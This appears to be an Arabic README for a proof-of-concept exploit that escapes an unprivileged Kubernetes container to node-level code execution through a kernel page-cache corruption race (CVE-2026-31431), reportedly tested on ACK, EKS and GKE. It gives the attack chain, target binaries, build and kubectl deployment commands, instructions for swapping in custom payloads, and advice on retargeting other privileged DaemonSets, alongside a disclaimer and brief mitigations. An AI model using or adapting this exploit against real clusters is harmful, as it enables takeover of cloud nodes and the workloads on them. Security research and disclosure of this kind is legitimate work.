
PoC: هروب كامل للحاوية دون أي امتيازات إلى تنفيذ كود على مستوى العقدة في Kubernetes عبر CVE-2026-31431 الناتج عن فساد page-cache وطبقات الصور المشتركة. تم التحقق منها على Alibaba Cloud ACK وAmazon EKS وGoogle GKE.
إثبات مفهوم يوضح كيف يمكن لحاوية غير مميزة تمامًا تحقيق تنفيذ كود على مستوى العقدة على Kubernetes من خلال استغلال ثغرة تلف ذاكرة التخزين المؤقت للصفحات (page-cache) في نواة لينكس CVE-2026-31431 عبر طبقات صور الحاويات المشتركة.
بدائية الهجوم الأساسية هي: يمكن تسليح أي DaemonSet مميز يشارك طبقات الصور مع حاوية يتحكم بها المهاجم لتحقيق الهروب من الحاوية. يستخدم هذا الـ PoC وحدة kube-proxy كمثال ملموس واحد، لكن التقنية قابلة للتعميم على أي عمل مميز في المجموعة.
تم التحقق منه على Alibaba Cloud ACK وAmazon EKS وGoogle GKE — حاوية pod غير مميزة تكتب [*] success إلى نظام ملفات المضيف عبر DaemonSet المميز لـ kube-proxy:
| Alibaba Cloud ACK (kernel 6.6.88) | Amazon EKS (kernel 6.12.79) | Google GKE (kernel 6.12.68) |
|---|---|---|
![]() | ![]() | ![]() |
إخلاء مسؤولية: يُنشر هذا المستودع لأغراض تعليمية ودفاعية فقط. استخدمه حصريًا على الأنظمة التي تملكها أو لديك إذن صريح باختبارها.
CVE-2026-31431 ("Copy Fail") هي ثغرة في نواة لينكس في مسار النسخ عند الكتابة (Copy-on-Write — CoW) لذاكرة التخزين المؤقت للصفحات. تتيح حالة سباق (race) في splice عبر AF_ALG لعملية غير مميزة إتلاف صفحات ذاكرة التخزين المؤقت لملف للقراءة فقط. يستمر التلف في ذاكرة التخزين المؤقت للنواة ويكون مرئيًا لكل عملية تقرأ الملف أو تنفذه لاحقًا — بما في ذلك العمليات في حاويات أخرى أو على المضيف.
للحصول على التفاصيل الكاملة حول الثغرة الأصلية، راجع copy.fail.
يستغل الهجوم ثلاث خصائص تتعايش بشكل شائع في مجموعات Kubernetes:
privileged: true, hostNetwork: true, capabilities واسعة، إلخ) تنفّذ بشكل دوري ملفات ثنائية من صورتها.عندما تتوافق هذه الشروط، يمكن لحاوية pod غير مميزة إتلاف ملف ثنائي في طبقة صورة مشتركة، وسينفّذ DaemonSet مميز على نفس العقدة الملف الثنائي التالف دون علمه بصلاحياته المرتفعة — محققًا تنفيذ كود كامل على مستوى العقدة.
هدف الثغرة ليس مقصورًا على kube-proxy. أي DaemonSet مميز (وكلاء مراقبة، إضافات CNI، مجمعات سجلات، وكلاء أمان، إلخ) تشارك صورة الحاوية الخاصة به الطبقات مع صورة يتحكم بها المهاجم يُعد هدفًا قابلًا للاستغلال.
تتكون سلسلة الهجوم من ثلاث مراحل: تلف ذاكرة التخزين المؤقت للصفحات، الانتشار عبر الحاويات، والتنفيذ المميز.
يوفّر النظام الفرعي AF_ALG (التشفير) في النواة واجهة قائمة على المقابس (sockets) لعمليات التشفير في مساحة المستخدم. يستغل الاستغلال حالة سباق في كيفية تعامل النواة مع splice() من ملف إلى مقبس AF_ALG:
authensn(hmac(sha256),cbc(aes)).MSG_MORE، لإخبار النواة بانتظار المزيد من البيانات.splice() لمحتويات الملف الهدف من واصف ملف (fd) ← أنبوب (pipe) ← مقبس AF_ALG.يكرر الاستغلال هذه العملية لكل نافذة من 4 بايتات حتى تتم الكتابة فوق جميع الصفحات المخزنة للملف الثنائي الهدف بحمولة مخصصة.
لا حاجة لأذونات الكتابة على الملف. الملف على القرص يبقى دون تغيير — فقط ذاكرة التخزين المؤقت للصفحات في الذاكرة هي التي تتلف.
تستخدم بيئات تشغيل الحاويات أنظمة ملفات overlay. عندما تشترك حاويتان في نفس طبقة الصورة، تخدم النواة قراءات الملفات لكليهما من نفس صفحات ذاكرة التخزين المؤقت.
يبني المهاجم صورة الـ PoC الخاصة به FROM نفس الصورة الأساسية التي يستخدمها الـ DaemonSet المميز الهدف. ولأن الحاويتين تشتركان في نفس دليل overlay السفلي (lower-dir)، فإن الملفات الثنائية في الطبقة المشتركة تتطابق مع صفحات ذاكرة تخزين مؤقت متطابقة.
عندما تتلف حاوية الـ PoC غير المميزة ذاكرة التخزين المؤقت لملف ثنائي، يصبح التلف مرئيًا فورًا للحاوية المميزة على نفس العقدة — دون أي اتصال بين الحاويات.
عندما ينفّذ الـ DaemonSet المميز أي ملف ثنائي تالف في المرة التالية (عبر دورة تشغيله العادية)، تحمّل النواة صفحات ذاكرة التخزين المؤقت التالفة. تعمل حمولة المهاجم بصلاحيات الـ DaemonSet الكاملة — وقد تشمل:
تقوم الحمولة في هذا الـ PoC (payload/payload.c) ببساطة بتركيب نظام ملفات جذر المضيف وكتابة ملف علامة إلى /root/res كدليل على تنفيذ الكود على مستوى العقدة.
┌──────────────────────────┐ ┌──────────────────────────┐
│ PoC Container │ │ Privileged DaemonSet │
│ (unprivileged) │ │ (e.g. kube-proxy, │
│ │ │ monitoring agent, etc.)│
│ 1. Open target binary │ │ │
│ (read-only) │ │ │
│ │ │ │
│ 2. AF_ALG splice race │ │ │
│ corrupts page cache │ │ │
│ │ │ │ │
└──────────┼───────────────┘ └──────────────────────────┘
│ │
▼ │
┌─────────────────────┐ │
│ Kernel Page Cache │ │
│ │◄────────────────────┘
│ Shared-layer binary │ 3. DaemonSet executes the
│ (CORRUPTED) │ corrupted binary
│ contains attacker's │ → loads corrupted pages
│ payload bytes │ → payload runs with
└─────────────────────┘ DaemonSet's privileges
تم التحقق بنجاح من الـ PoC على منصات Kubernetes المُدارة التالية:



في الحالات الثلاث جميعها، نجحت حاوية pod للـ PoC غير المميزة في كتابة ملف العلامة [*] success إلى نظام ملفات المضيف — مما يثبت تنفيذ الكود على مستوى العقدة عبر DaemonSet المميز لـ kube-proxy.
للحصول على الشروحات الكاملة (تحليل طبقات الصور، خطوات البناء، النشر):
يستخدم هذا الـ PoC وحدة kube-proxy كهدف لأنها واحدة من أكثر DaemonSets المميزة شيوعًا في مجموعات Kubernetes. يتم توفير ثلاثة إصدارات:
FROM registry.k8s.io/kube-proxy:v1.35.2 (انظر Dockerfile)FROM public.ecr.aws/eks-distro-build-tooling/eks-distro-minimal-base-iptables:2026-03-11-1773190710.2023 (انظر Dockerfile.eks)FROM us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000 (انظر Dockerfile.gke)تتلف جميع الإصدارات ملفات ثنائية مثل /usr/sbin/ipset و/usr/sbin/nft و/usr/sbin/xtables-legacy-multi و/usr/sbin/xtables-nft-multi.
تحذيرات مهمة:
ipset فقط عند تكوينه في وضع ipvs. الوضع الافتراضي (iptables) لا يستخدم ipset. راجع kubernetes/enhancements#5495 لخطة إهمال وضع ipvs.ipset, nft, xtables-legacy-multi, xtables-nft-multi) لتغطية أوضاع البروكسي المختلفة، لكن ما إذا كانت ستُستدعى يعتمد على تكوين المجموعة.إذا لم يكن kube-proxy مميزًا في مجموعتك، فإن مبدأ الهجوم لا يزال قائمًا — تحتاج فقط إلى تحديد DaemonSet مميز آخر يشارك طبقات الصور مع صورة أساسية يمكنك البناء منها.
لتكييف هذا الـ PoC مع DaemonSet مميز مختلف:
FROM نفس الصورة الأساسية التي يستخدمها ذلك الـ DaemonSet..
├── cmd/copyfail/main.go # Entry point; embeds compiled payload
├── internal/
│ ├── exploit/
│ │ ├── exploit.go # Core exploit: AF_ALG splice race loop
│ │ └── patch.go # Splits payload into 4-byte patch windows
│ └── alg/
│ └── alg.go # AF_ALG AEAD socket abstraction
├── payload/
│ ├── payload.c # ACK/upstream payload (mount /dev/vda3 ext4)
│ ├── payload-eks.c # EKS payload (NVMe/Xen device auto-detection)
│ ├── payload-gke.c # GKE payload (COS/Ubuntu device auto-detection)
│ └── nolibc/ # Kernel's tiny libc for static, no-dependency payloads
├── deploy/
│ ├── poc.yaml # Kubernetes Deployment manifest (ACK/upstream)
│ ├── poc-eks.yaml # EKS Deployment manifest
│ └── poc-gke.yaml # GKE Deployment manifest
├── Dockerfile # ACK/upstream: FROM registry.k8s.io/kube-proxy
├── Dockerfile.eks # EKS: FROM eks-distro-minimal-base-iptables
├── Dockerfile.gke # GKE: FROM gke-release/kube-proxy
├── Makefile # Build orchestration (includes *-eks and *-gke targets)
└── docs/
├── eks-poc.md # EKS PoC full walkthrough
├── gke-poc.md # GKE PoC full walkthrough
├── ack-poc-res.png # ACK validation screenshot
├── eks-poc-res.png # EKS validation screenshot
└── gke-poc-res.png # GKE validation screenshot
x86_64-linux-gnu-gcc)imagePullPolicy: IfNotPresent على الـ DaemonSet الهدف (الافتراضي في Kubernetes)# Build payload + Go binary
make build
# Build Docker image
make docker-build
# Build and push to GHCR
make docker-push IMAGE=ghcr.io/<you>/copy-fail-poc TAG=latest
# Build EKS payload + Go binary + Docker image
make docker-build-eks
# Build and push to GHCR
make docker-push-eks IMAGE=ghcr.io/<you>/copy-fail-poc
لأهداف arm64 (Graviton):
make build-eks CC=aarch64-linux-gnu-gcc GOARCH=arm64
# Build GKE payload + Go binary + Docker image
make docker-build-gke
# Build and push to GHCR
make docker-push-gke IMAGE=ghcr.io/<you>/copy-fail-poc
للعُقد من نوع arm64:
make docker-build-gke CC=aarch64-linux-gnu-gcc GOARCH=arm64 PLATFORM=linux/arm64
# ACK / upstream Kubernetes
kubectl apply -f deploy/poc.yaml
# Amazon EKS
kubectl apply -f deploy/poc-eks.yaml
# Google GKE
kubectl apply -f deploy/poc-gke.yaml
ينشئ الـ Deployment حاوية pod غير مميزة واحدة. وهي:
/bin/copyfail لإتلاف ذاكرة التخزين المؤقت للملفات الثنائية الهدف في طبقة الصورة المشتركة.بعد أن ينفّذ الـ DaemonSet المميز الهدف ملفًا ثنائيًا تالفًا في المرة التالية (بالنسبة لـ kube-proxy، يحدث هذا عادةً خلال ثوانٍ بسبب حلقة المزامنة الخاصة به)، تحقق من العقدة:
# SSH into the node, or use a privileged debug pod
# ACK / EKS (writable root filesystem)
cat /root/res
# Expected output: [*] success
# GKE COS nodes (read-only root, writable stateful partition)
cat /mnt/stateful_partition/copyfail-res
# Expected output: [*] success
وجود ملف العلامة على نظام ملفات المضيف يثبت أن الكود المقدم من المهاجم نُفذ بصلاحيات على مستوى العقدة — من داخل سياق حاوية الـ DaemonSet المميز.
kubectl delete -f deploy/poc.yaml # or poc-eks.yaml / poc-gke.yaml
# On the affected node(s), remove the marker and restart the target DaemonSet:
rm -f /root/res # ACK / EKS
rm -f /copyfail-res /mnt/stateful_partition/copyfail-res # GKE COS nodes
# For kube-proxy: delete the pod to force image layer re-read
kubectl delete pod -n kube-system -l k8s-app=kube-proxy --field-selector spec.nodeName=<node>
الحمولة الافتراضية (payload/payload.c) هي برنامج للتحقق فقط يكتب ملف علامة. لبناء حمولة مخصصة:
payload/payload.c. يُبنى البرنامج باستخدام nolibc (مكتبة C المصغرة الخاصة بالنواة) لإنتاج ملف ثنائي ثابت بدون تبعيات.make payload للتجميع المتقاطع (cross-compile).//go:embed.privileged: true بشكل صارم.AF_ALG. القاعدة متاحة عبر مُنفِّذي AppArmor وBPF.tools/include/nolibc/)كود الاستغلال بلغة Go في هذا المستودع مُقدَّم كما هو لأغراض البحث.
الحمولة (payload/payload.c) مشتقة من copy-fail-c وهي مرخصة بموجب ترخيص مزدوج: LGPL-2.1-or-later أو MIT. راجع LICENSE-LGPL وLICENSE-MIT.
| الخاصية | القيمة |
|---|
| المنصة | خدمة حاويات Alibaba Cloud لـ Kubernetes (ACK) |
| Kubernetes | v1.35.2 |
| نواة العقدة | 6.6.88-4.2.alnx4.x86_64 |
| kube-proxy | registry-cn-*.ack.aliyuncs.com/acs/kube-proxy:v1.35.2-aliyun.1 |
| الصورة الأساسية | registry.k8s.io/kube-proxy:v1.35.2 (المنبع) |
| جهاز الجذر | /dev/vda3 (ext4) |
| الخاصية | القيمة |
|---|
| المنصة | Amazon Elastic Kubernetes Service (EKS) |
| Kubernetes | v1.35.4 |
| نواة العقدة | 6.12.79-101.147.amzn2023.x86_64 |
| kube-proxy | ***.dkr.ecr.***.amazonaws.com.cn/eks/kube-proxy:v1.35.3-eksbuild.2 |
| الصورة الأساسية | public.ecr.aws/eks-distro-build-tooling/eks-distro-minimal-base-iptables:2026-03-11-1773190710.2023 |
| جهاز الجذر | /dev/nvme0n1p1 (xfs) |
| الخاصية | القيمة |
|---|
| المنصة | Google Kubernetes Engine (GKE) |
| Kubernetes | v1.35.3-gke.1234000 |
| نظام تشغيل العقدة | Container-Optimized OS (COS) 125، BUILD_ID 19216.220.72 |
| نواة العقدة | 6.12.68+ x86_64 |
| kube-proxy | us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000 |
| الصورة الأساسية | نفس صورة kube-proxy (صورة Artifact Registry مُدارة من مزوّد GKE) |
| جهاز الجذر | /dev/dm-0 (ext2، للقراءة فقط)؛ /dev/sda1 (ext4، قسم حالة قابل للكتابة) |
| مسار ملف العلامة | /mnt/stateful_partition/copyfail-res |